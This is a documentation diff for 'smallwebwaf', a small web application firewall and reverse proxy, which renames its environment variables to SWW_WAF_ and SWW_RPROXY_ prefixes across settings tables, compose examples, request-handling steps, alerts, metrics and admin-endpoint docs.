| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. | | `SWW_WAF_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. | | `SWW_WAF_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
| `SWW_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. | | `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` | unset | A file of PEM certificates a `syslog+tls` server's certificate must chain to, instead of the host's own. |
| `SWW_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. | | `SWW_WAF_LOG_REMOTE_BUFFER` | `10000` | The most lines held while they wait to be sent; past it, the oldest is dropped. |
| `SWW_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. | | `SWW_WAF_LOG_REMOTE_FACILITY` | `local0` | The syslog facility of each record sent. |
| `SWW_LOG_REMOTE_APP_NAME` | `SWW_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. | | `SWW_WAF_LOG_REMOTE_APP_NAME` | `SWW_WAF_INSTANCE_NAME` | The app name in each syslog record, 1 to 48 printable ASCII characters without a space. |
| `SWW_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. | | `SWW_WAF_ADMIN_TOKEN` | unset | The bearer token for the ban and client endpoints, at least 32 characters; unset, they answer `404`. |
| `SWW_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. | | `SWW_WAF_METRICS_TOKEN` | unset | The bearer token for `/_sww/metrics`, at least 32 characters; unset, the metrics are off. |
| `SWW_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. | | `SWW_WAF_METRICS_TOP_N` | `50` | How many AS numbers and how many countries get metric series of their own; the rest are summed as `other`. |
| `SWW_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. | | `SWW_WAF_ALERT_WEBHOOK_URL` | unset | A webhook each alert is posted to as a JSON object. |
| `SWW_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. | | `SWW_WAF_ALERT_WEBHOOK_HEADERS` | empty | Headers sent with each post, a list of `Name:value`, such as `Authorization:Bearer <token>`. |
| `SWW_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. | | `SWW_WAF_ALERT_SLACK_WEBHOOK_URL` | unset | A Slack incoming webhook each alert is posted to as a message. |
| `SWW_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. | | `SWW_WAF_ALERT_NTFY_URL` | unset | An ntfy topic each alert is published to, as its full URL, such as `https://ntfy.sh/my-alerts`. |
| `SWW_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. | | `SWW_WAF_ALERT_NTFY_TOKEN` | unset | An ntfy access token sent with each alert. |
| `SWW_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. | | `SWW_WAF_ALERT_EVENTS` | `ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error` | The events alerts are sent for; the hourly `summary` is sent whatever it says. |
| `SWW_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. | | `SWW_WAF_ALERT_COOLDOWN` | `15m` | How long after an alert its repeats are held back and counted, a duration or `off`. |
| `SWW_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. | | `SWW_WAF_ALERT_MAX_PER_HOUR` | `60` | The most alerts sent in an hour, a number or `off`; the rest are counted in the hour's `summary`. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE` | `off` | Alert when one client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_HOUR` | `off` | Alert when one client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in a minute, a size. | | `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in a minute, a size. |
| `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one client in an hour, a size. | | `SWW_WAF_ANOMALY_CLIENT_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one client in an hour, a size. |
| `SWW_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_NET_REQUESTS_PER_MINUTE` | `off` | Alert when the netblock around a client makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_NET_REQUESTS_PER_HOUR` | `off` | Alert when the netblock around a client makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. | | `SWW_WAF_ANOMALY_NET_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in a minute, a size. |
| `SWW_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. | | `SWW_WAF_ANOMALY_NET_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the netblock around a client in an hour, a size. |
| `SWW_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 32. | | `SWW_WAF_ANOMALY_NET_V4_PREFIX` | `24` | The prefix length of the netblock around an IPv4 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 32. |
| `SWW_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_ANOMALY_NET_` thresholds count, from 0 to 128. | | `SWW_WAF_ANOMALY_NET_V6_PREFIX` | `48` | The prefix length of the netblock around an IPv6 client that the `SWW_WAF_ANOMALY_NET_` thresholds count, from 0 to 128. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_MINUTE` | `off` | Alert when one AS number makes more requests than this in a minute, a count. |
| `SWW_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_ASN_REQUESTS_PER_HOUR` | `off` | Alert when one AS number makes more requests than this in an hour, a count. |
| `SWW_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. | | `SWW_WAF_ANOMALY_ASN_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in a minute, a size. |
| `SWW_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. | | `SWW_WAF_ANOMALY_ASN_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for one AS number in an hour, a size. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. | | `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_MINUTE` | `off` | Alert when the whole service gets more requests than this in a minute, a count. |
| `SWW_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. | | `SWW_WAF_ANOMALY_TOTAL_REQUESTS_PER_HOUR` | `off` | Alert when the whole service gets more requests than this in an hour, a count. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. | | `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in a minute, a size. |
| `SWW_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. | | `SWW_WAF_ANOMALY_TOTAL_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for the whole service in an hour, a size. |
| `SWW_WATCH_NETS` | empty | Named netblocks the `SWW_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. | | `SWW_WAF_WATCH_NETS` | empty | Named netblocks the `SWW_WAF_WATCH_` thresholds count each as a whole, such as `office=203.0.113.0/24,scraper-x=198.51.100.0/22`. |
| `SWW_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. | | `SWW_WAF_WATCH_REQUESTS_PER_MINUTE` | `off` | Alert when a watched netblock makes more requests than this in a minute, a count. |
| `SWW_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. | | `SWW_WAF_WATCH_REQUESTS_PER_HOUR` | `off` | Alert when a watched netblock makes more requests than this in an hour, a count. |
| `SWW_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. | | `SWW_WAF_WATCH_BYTES_PER_MINUTE` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in a minute, a size. |
| `SWW_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. | | `SWW_WAF_WATCH_BYTES_PER_HOUR` | `off` | Alert when more than this many bytes, as `SWW_WAF_BYTES_COUNT` counts them, are counted for a watched netblock in an hour, a size. |
[`docs/settings.md`](docs/settings.md) gives the values each setting takes in [`docs/settings.md`](docs/settings.md) gives the values each setting takes in
full, and the limits that are fixed rather than settings. full, and the limits that are fixed rather than settings.
@@ -362,8 +365,8 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWW_RPROXY_WAF_BACKEND: http://waf:8080
SWRP_UPSTREAM_URL: http://app:8081 SWW_RPROXY_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
@@ -398,8 +401,8 @@ services:
rproxy: rproxy:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWW_RPROXY_WAF_BACKEND: http://waf:8080
SWRP_UPSTREAM_URL: http://app:8081 SWW_RPROXY_UPSTREAM_URL: http://app:8081
ports: ports:
- "8080:8080" - "8080:8080"
@@ -408,22 +411,22 @@ services:
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: waf
# Monitoring skips every check. # Monitoring skips every check.
SWW_ALLOW_NETS: 192.0.2.10 SWW_WAF_ALLOW_NETS: 192.0.2.10
# The office and the automation host are never rate limited. # The office and the automation host are never rate limited.
SWW_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7 SWW_WAF_RATE_LIMIT_EXEMPT_NETS: 203.0.113.0/24,198.51.100.7
# A netblock that sends nothing wanted. # A netblock that sends nothing wanted.
SWW_DENY_NETS: 198.51.100.128/25 SWW_WAF_DENY_NETS: 198.51.100.128/25
# Tighter limits for everyone else: a small static site. # Tighter limits for everyone else: a small static site.
SWW_RATE_LIMIT_PER_MINUTE: "60" SWW_WAF_RATE_LIMIT_PER_MINUTE: "60"
SWW_RATE_LIMIT_PER_HOUR: "600" SWW_WAF_RATE_LIMIT_PER_HOUR: "600"
SWW_RATE_LIMIT_PER_DAY: "3000" SWW_WAF_RATE_LIMIT_PER_DAY: "3000"
# Hosting networks and one country get a share of those limits. # Hosting networks and one country get a share of those limits.
SWW_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25 SWW_WAF_TAG_LIMIT_PERCENT: asn=14061:50,asn=16276:25,country=CN:25
# Paths only scanners ask for; one request bans the client. # Paths only scanners ask for; one request bans the client.
SWW_TRAP_PATHS: /wp-login.php,/xmlrpc.php SWW_WAF_TRAP_PATHS: /wp-login.php,/xmlrpc.php
# Answer a refused client with 429 rather than 403. # Answer a refused client with 429 rather than 403.
SWW_BAN_RESPONSE: "429" SWW_WAF_BAN_RESPONSE: "429"
SWW_LIMIT_BAN_DURATION: 30m SWW_WAF_LIMIT_BAN_DURATION: 30m
volumes: volumes:
- waf-state:/var/lib/sww - waf-state:/var/lib/sww
@@ -449,9 +452,9 @@ services:
# A Dockerfile built FROM the smallwebwaf image, with rproxy inside. # A Dockerfile built FROM the smallwebwaf image, with rproxy inside.
build: ./app build: ./app
environment: environment:
SWRP_WAF_BACKEND: http://waf:8080 SWW_RPROXY_WAF_BACKEND: http://waf:8080
# Answer 503 rather than pass a request on while waf is down. # Answer 503 rather than pass a request on while waf is down.
SWRP_DEFAULT_DISPOSITION: deny SWW_RPROXY_DEFAULT_DISPOSITION: deny
ports: ports:
- "8080:8080" - "8080:8080"
@@ -459,16 +462,16 @@ services:
image: smallwebwaf image: smallwebwaf
environment: environment:
SWW_COMMAND: waf SWW_COMMAND: waf
SWW_INSTANCE_NAME: fsn1/waf SWW_WAF_INSTANCE_NAME: fsn1/waf
# Refuse nothing yet; log what enforce mode would have done. # Refuse nothing yet; log what enforce mode would have done.
SWW_MODE: observe SWW_WAF_MODE: observe
# Look addresses up in a local IPinfo Lite database, never GeoJS. # Look addresses up in a local IPinfo Lite database, never GeoJS.
SWW_LOOKUP_SOURCE: file SWW_WAF_LOOKUP_SOURCE: file
SWW_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb SWW_WAF_LOOKUP_DB_PATH: /var/lib/ipinfo/ipinfo_lite.mmdb
# Alerts to an ntfy topic, with its token read from a file. # Alerts to an ntfy topic, with its token read from a file.
SWW_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf SWW_WAF_ALERT_NTFY_URL: https://ntfy.example/smallwebwaf
SWW_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy SWW_WAF_ALERT_NTFY_TOKEN_FILE: /etc/sww/tokens/ntfy
SWW_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error SWW_WAF_ALERT_EVENTS: ban,permanent_ban,core_rule_set_match,source_failure,file_error
volumes: volumes:
- waf-state:/var/lib/sww - waf-state:/var/lib/sww
- /srv/ipinfo:/var/lib/ipinfo:ro - /srv/ipinfo:/var/lib/ipinfo:ro
@@ -505,19 +508,19 @@ request reaches the app.
1. The health check, `GET /_sww/healthz`, is answered at once. 1. The health check, `GET /_sww/healthz`, is answered at once.
2. The visitor's address is worked out from `X-Forwarded-For`, believed only 2. The visitor's address is worked out from `X-Forwarded-For`, believed only
from `SWRP_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the visitor from `SWW_RPROXY_TRUSTED_PROXIES`. `rproxy` sends `waf` the request as the
sent it, with the first 64 KiB of its body. visitor sent it, with the first 64 KiB of its body.
`waf` takes the checks: `waf` takes the checks:
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the 3. The header limits, then the tag lists. A client in `SWW_WAF_ALLOW_NETS` skips
header limits. the header limits.
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`. 4. The static lists, `SWW_WAF_ALLOW_NETS` and `SWW_WAF_DENY_NETS`.
5. The bans. 5. The bans.
6. The lookup of the client's AS number and country. 6. The lookup of the client's AS number and country.
7. The country list. 7. The country list.
8. The reputation sources. 8. The reputation sources.
9. The tag refusals of `SWW_TAG_DENY`. 9. The tag refusals of `SWW_WAF_TAG_DENY`.
10. The client's limit percentage, from its tags, its AS number, its country or 10. The client's limit percentage, from its tags, its AS number, its country or
a reputation hit. a reputation hit.
11. The rate limits. 11. The rate limits.
@@ -533,23 +536,23 @@ request reaches the app.
17. The request is passed to the app, streaming. 17. The request is passed to the app, streaming.
18. After the answer, `rproxy` sends `waf` a report with the status and the body 18. After the answer, `rproxy` sends `waf` a report with the status and the body
bytes each way. For an allowed request, `waf` counts the bytes bytes each way. For an allowed request, `waf` counts the bytes
`SWW_BYTES_COUNT` names toward the byte limits, bans the client if they take `SWW_WAF_BYTES_COUNT` names toward the byte limits, bans the client if they
it past one, and adds the request to the client's history. take it past one, and adds the request to the client's history.
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core A refused visitor is answered with `SWW_WAF_BAN_RESPONSE`. A `block` rule or a
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false Core Rule Set match answers `403` and bans nobody, since the Core Rule Set has
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A false positives; such refusals count toward `SWW_WAF_ERROR_BURST_THRESHOLD`
request over the header limits of step 3 is answered `431`, and bans nobody instead. A request over the header limits of step 3 is answered `431`, and bans
either. `rproxy` itself answers `405` to a method it does not pass on, and the nobody either. `rproxy` itself answers `405` to a method it does not pass on,
status for a size or time limit, such as `413` for a body too large. and the status for a size or time limit, such as `413` for a body too large.
### Clients and bans ### Clients and bans
- A client is one IPv4 address or one IPv6 netblock of `SWW_IPV6_GROUP_PREFIX`, - A client is one IPv4 address or one IPv6 netblock of
since one abuser usually controls a whole /64. `SWW_WAF_IPV6_GROUP_PREFIX`, since one abuser usually controls a whole /64.
- Each limit is counted over a sliding window with a few integers per client. - Each limit is counted over a sliding window with a few integers per client.
The table of clients and the table of bans each have a bound The table of clients and the table of bans each have a bound
(`SWW_MAX_TRACKED_CLIENTS`, `SWW_MAX_BANS`), so memory is bounded too. (`SWW_WAF_MAX_TRACKED_CLIENTS`, `SWW_WAF_MAX_BANS`), so memory is bounded too.
- A ban refuses every request from its netblock until it ends. Requests refused - A ban refuses every request from its netblock until it ends. Requests refused
under a ban count toward no limit. A permanent ban ends only when an admin under a ban count toward no limit. A permanent ban ends only when an admin
lifts it. lifts it.
@@ -564,23 +567,23 @@ Each request gets tags from what `waf` knows of its client, written in the
`tags` field of its log line: `tags` field of its log line:
- `asn=<number>` and `country=<code>`, from the lookup; - `asn=<number>` and `country=<code>`, from the lookup;
- one tag per list of `SWW_TAG_LISTS` that holds the client, such as `torexit` - one tag per list of `SWW_WAF_TAG_LISTS` that holds the client, such as
or `vpn=mullvad`; `torexit` or `vpn=mullvad`;
- `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists - `crowdsec`, `dnsbl=<zone>` and `abuseipdb`, when that reputation source lists
the client; the client;
- `exploitsignature`, when a rule file or the Core Rule Set matched the request; - `exploitsignature`, when a rule file or the Core Rule Set matched the request;
- `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while - `asn=<number>` and `prefix=<netblock>`, from a routewatch instance, while
`SWW_ROUTEWATCH_URL` is set. `SWW_WAF_ROUTEWATCH_URL` is set.
`SWW_TAG_DENY` refuses requests by tag, and `SWW_TAG_LIMIT_PERCENT` lowers a `SWW_WAF_TAG_DENY` refuses requests by tag, and `SWW_WAF_TAG_LIMIT_PERCENT`
client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). lowers a client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
### Attack detection ### Attack detection
- The Core Rule Set reads the method, the URL with its query string, and the - The Core Rule Set reads the method, the URL with its query string, and the
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In headers of every request, and no body unless
front of a code forge, bodies carry what people write and publish, which the `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` is set. In front of a code forge, bodies
rules take for attacks. carry what people write and publish, which the rules take for attacks.
- `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary - `smallwebwaf` changes the Core Rule Set in fifteen ways so that ordinary
requests get through to the apps listed below. No setting undoes the changes; requests get through to the apps listed below. No setting undoes the changes;
"Attack detection" in [`SPEC.md`](SPEC.md) lists them. "Attack detection" in [`SPEC.md`](SPEC.md) lists them.
@@ -612,8 +615,8 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
- deleting the account, on gitea; - deleting the account, on gitea;
- the admin page, on Vaultwarden, whose apps send a hash of the master - the admin page, on Vaultwarden, whose apps send a hash of the master
password, not the password itself. password, not the password itself.
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own - `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's
fields or paths. own fields or paths.
- Rule files are plain text, one rule to a line, edited by hand and read again - Rule files are plain text, one rule to a line, edited by hand and read again
while `waf` runs. The image ships one file of probes no real visitor sends while `waf` runs. The image ships one file of probes no real visitor sends
(see [`docs/rules.md`](docs/rules.md)). (see [`docs/rules.md`](docs/rules.md)).
@@ -622,12 +625,12 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
`waf` keeps everything in memory, and JSON files hold a copy: `waf` keeps everything in memory, and JSON files hold a copy:
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again: - The state files, in `SWW_WAF_STATE_DIR`, hold what cannot be fetched again:
- `bans.json`; - `bans.json`;
- `clients.json`; - `clients.json`;
- `abuseipdb-checks-spent.json`; - `abuseipdb-checks-spent.json`;
- `alerts.json`. - `alerts.json`.
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services: - The cache files, in `SWW_WAF_CACHE_DIR`, hold answers from outside services:
- `lookups.json`, from GeoJS; - `lookups.json`, from GeoJS;
- `lists.json`, the lists fetched by URL; - `lists.json`, the lists fetched by URL;
- `dnsbl.json`, from the DNS blocklists; - `dnsbl.json`, from the DNS blocklists;
@@ -711,8 +714,7 @@ on the host.
- `script/bootstrap`: installs on the host what the other scripts need, with - `script/bootstrap`: installs on the host what the other scripts need, with
`make bootstrap`: `make bootstrap`:
- `make`, `git` and `curl`; - `make`, `git` and `curl`;
- Go, for `gofmt` and to build `golines`; - Go, for `gofmt`;
- `golines`, at a pinned version, with `go install`;
- node, yarn and prettier. - node, yarn and prettier.
- `script/setup`: readies a fresh clone: `script/bootstrap`, then - `script/setup`: readies a fresh clone: `script/bootstrap`, then
`script/install-precommit`. `make setup`. `script/install-precommit`. `make setup`.
@@ -729,11 +731,8 @@ on the host.
the `tidy` stage of the `Dockerfile`. `make tidy`. the `tidy` stage of the `Dockerfile`. `make tidy`.
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`. - `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
`make lint`. `make lint`.
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and - `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
the Markdown with prettier. `make fmt`. `make fmt`.
- `golines` wraps code at 77 columns but leaves comments and strings alone.
Wrap those by hand.
- The linter fails only lines longer than 88 columns.
- `script/fmt-check`: checks the formatting and changes nothing. - `script/fmt-check`: checks the formatting and changes nothing.
`make fmt-check`. `make fmt-check`.
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`. - `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
+436 -463
View File
File diff suppressed because it is too large. Load diff
+6 -6
View File
@@ -5,16 +5,16 @@ answers them at its own address, on the private network. "Admin endpoints" in
[`SPEC.md`](../SPEC.md) says how their tokens work. [`SPEC.md`](../SPEC.md) says how their tokens work.
- `GET /_sww/healthz`: `200` and `ok`, to anyone. - `GET /_sww/healthz`: `200` and `ok`, to anyone.
- `GET /_sww/metrics`: the metrics, for `SWW_METRICS_TOKEN` (see - `GET /_sww/metrics`: the metrics, for `SWW_WAF_METRICS_TOKEN` (see
[`metrics.md`](metrics.md)). [`metrics.md`](metrics.md)).
- `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it. - `GET /_sww/bans`: every ban held, under `bans`, each as `bans.json` lists it.
Needs `SWW_ADMIN_TOKEN`, as do the three below. Needs `SWW_WAF_ADMIN_TOKEN`, as do the three below.
- `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`, - `POST /_sww/bans`: bans a netblock. The body is a JSON object of `netblock`,
`duration` and, if you like, `reason`. `netblock` is a netblock such as `duration` and, if you like, `reason`. `netblock` is a netblock such as
`203.0.113.0/24`, or a client's address, which bans its IPv4 netblock `203.0.113.0/24`, or a client's address, which bans its IPv4 netblock
(`SWW_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration such (`SWW_WAF_BAN_SCOPE_V4_PREFIX`) or its IPv6 group. `duration` is a duration
as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying what is such as `1h` or `7d`, or `permanent`. A bad body is answered `400`, saying
wrong: what is wrong:
- one that is not such an object, or has another field; - one that is not such an object, or has another field;
- one longer than 4 KiB; - one longer than 4 KiB;
- one that names an IPv4-mapped netblock, or an address with a zone. - one that names an IPv4-mapped netblock, or an address with a zone.
@@ -38,7 +38,7 @@ answered `404`, so that the app never sees that prefix (see "`rproxy`" in
## Examples ## Examples
With `SWW_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as With `SWW_WAF_ADMIN_TOKEN` set, the token in `$TOKEN`, and `waf` reached as
`waf:8080` on its network: `waf:8080` on its network:
```sh ```sh
+4 -4
View File
@@ -78,8 +78,8 @@ on one line:
} }
``` ```
- `instance`: `SWW_INSTANCE_NAME`. `time`: when the alert was raised. `event`: - `instance`: `SWW_WAF_INSTANCE_NAME`. `time`: when the alert was raised.
one of the events above. `event`: one of the events above.
- `host`: the site of the request that raised the alert, since one `waf` serves - `host`: the site of the request that raised the alert, since one `waf` serves
many sites. It is left out of `source_failure`, `file_error` and `summary`. many sites. It is left out of `source_failure`, `file_error` and `summary`.
- `client`: the address whose request raised the alert. Empty for - `client`: the address whose request raised the alert. Empty for
@@ -122,8 +122,8 @@ Slack gets the title in bold and the text below it, with `&`, `<` and `>`
escaped. ntfy gets the text as the message, with these headers: escaped. ntfy gets the text as the message, with these headers:
- `Title`: the title; - `Title`: the title;
- `Authorization`: the token, as `Bearer <token>`, while `SWW_ALERT_NTFY_TOKEN` - `Authorization`: the token, as `Bearer <token>`, while
is set; `SWW_WAF_ALERT_NTFY_TOKEN` is set;
- `Priority` and `Tags`: by event, as listed below. - `Priority` and `Tags`: by event, as listed below.
The priority and tag by event: The priority and tag by event:
+1 -1
View File
@@ -20,7 +20,7 @@ way.
`share/sww.run`. `share/sww.run`.
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the - `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
default rule file `share/rules.d/00-default.rules`. The `run` script makes default rule file `share/rules.d/00-default.rules`. The `run` script makes
`SWW_STATE_DIR` when it is missing. `SWW_WAF_STATE_DIR` when it is missing.
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`. - `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
## Pins ## Pins
+2 -2
View File
@@ -6,7 +6,7 @@ the `instance` label as `exported_instance` unless the scrape sets
`honor_labels: true`. `rproxy` has no metrics. `honor_labels: true`. `rproxy` has no metrics.
Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts Every `sww_*request_bytes_total` and `sww_*response_bytes_total` series counts
body bytes, never headers, whatever `SWW_BYTES_COUNT` says. body bytes, never headers, whatever `SWW_WAF_BYTES_COUNT` says.
## Traffic ## Traffic
@@ -33,7 +33,7 @@ body bytes, never headers, whatever `SWW_BYTES_COUNT` says.
## Countries and AS numbers ## Countries and AS numbers
For the `SWW_METRICS_TOP_N` busiest of each, the rest as `other`: For the `SWW_WAF_METRICS_TOP_N` busiest of each, the rest as `other`:
- `sww_country_requests_total`, `sww_country_request_bytes_total`, - `sww_country_requests_total`, `sww_country_request_bytes_total`,
`sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by `sww_country_response_bytes_total` and `sww_country_list_refusals_total`, by
+17 -15
View File
@@ -43,7 +43,7 @@ Every one of these lines has:
- `time`: when `waf` had read the question's body, RFC 3339 with milliseconds, - `time`: when `waf` had read the question's body, RFC 3339 with milliseconds,
in UTC. The `report` line gives the same time as the `decision` line. in UTC. The `report` line gives the same time as the `decision` line.
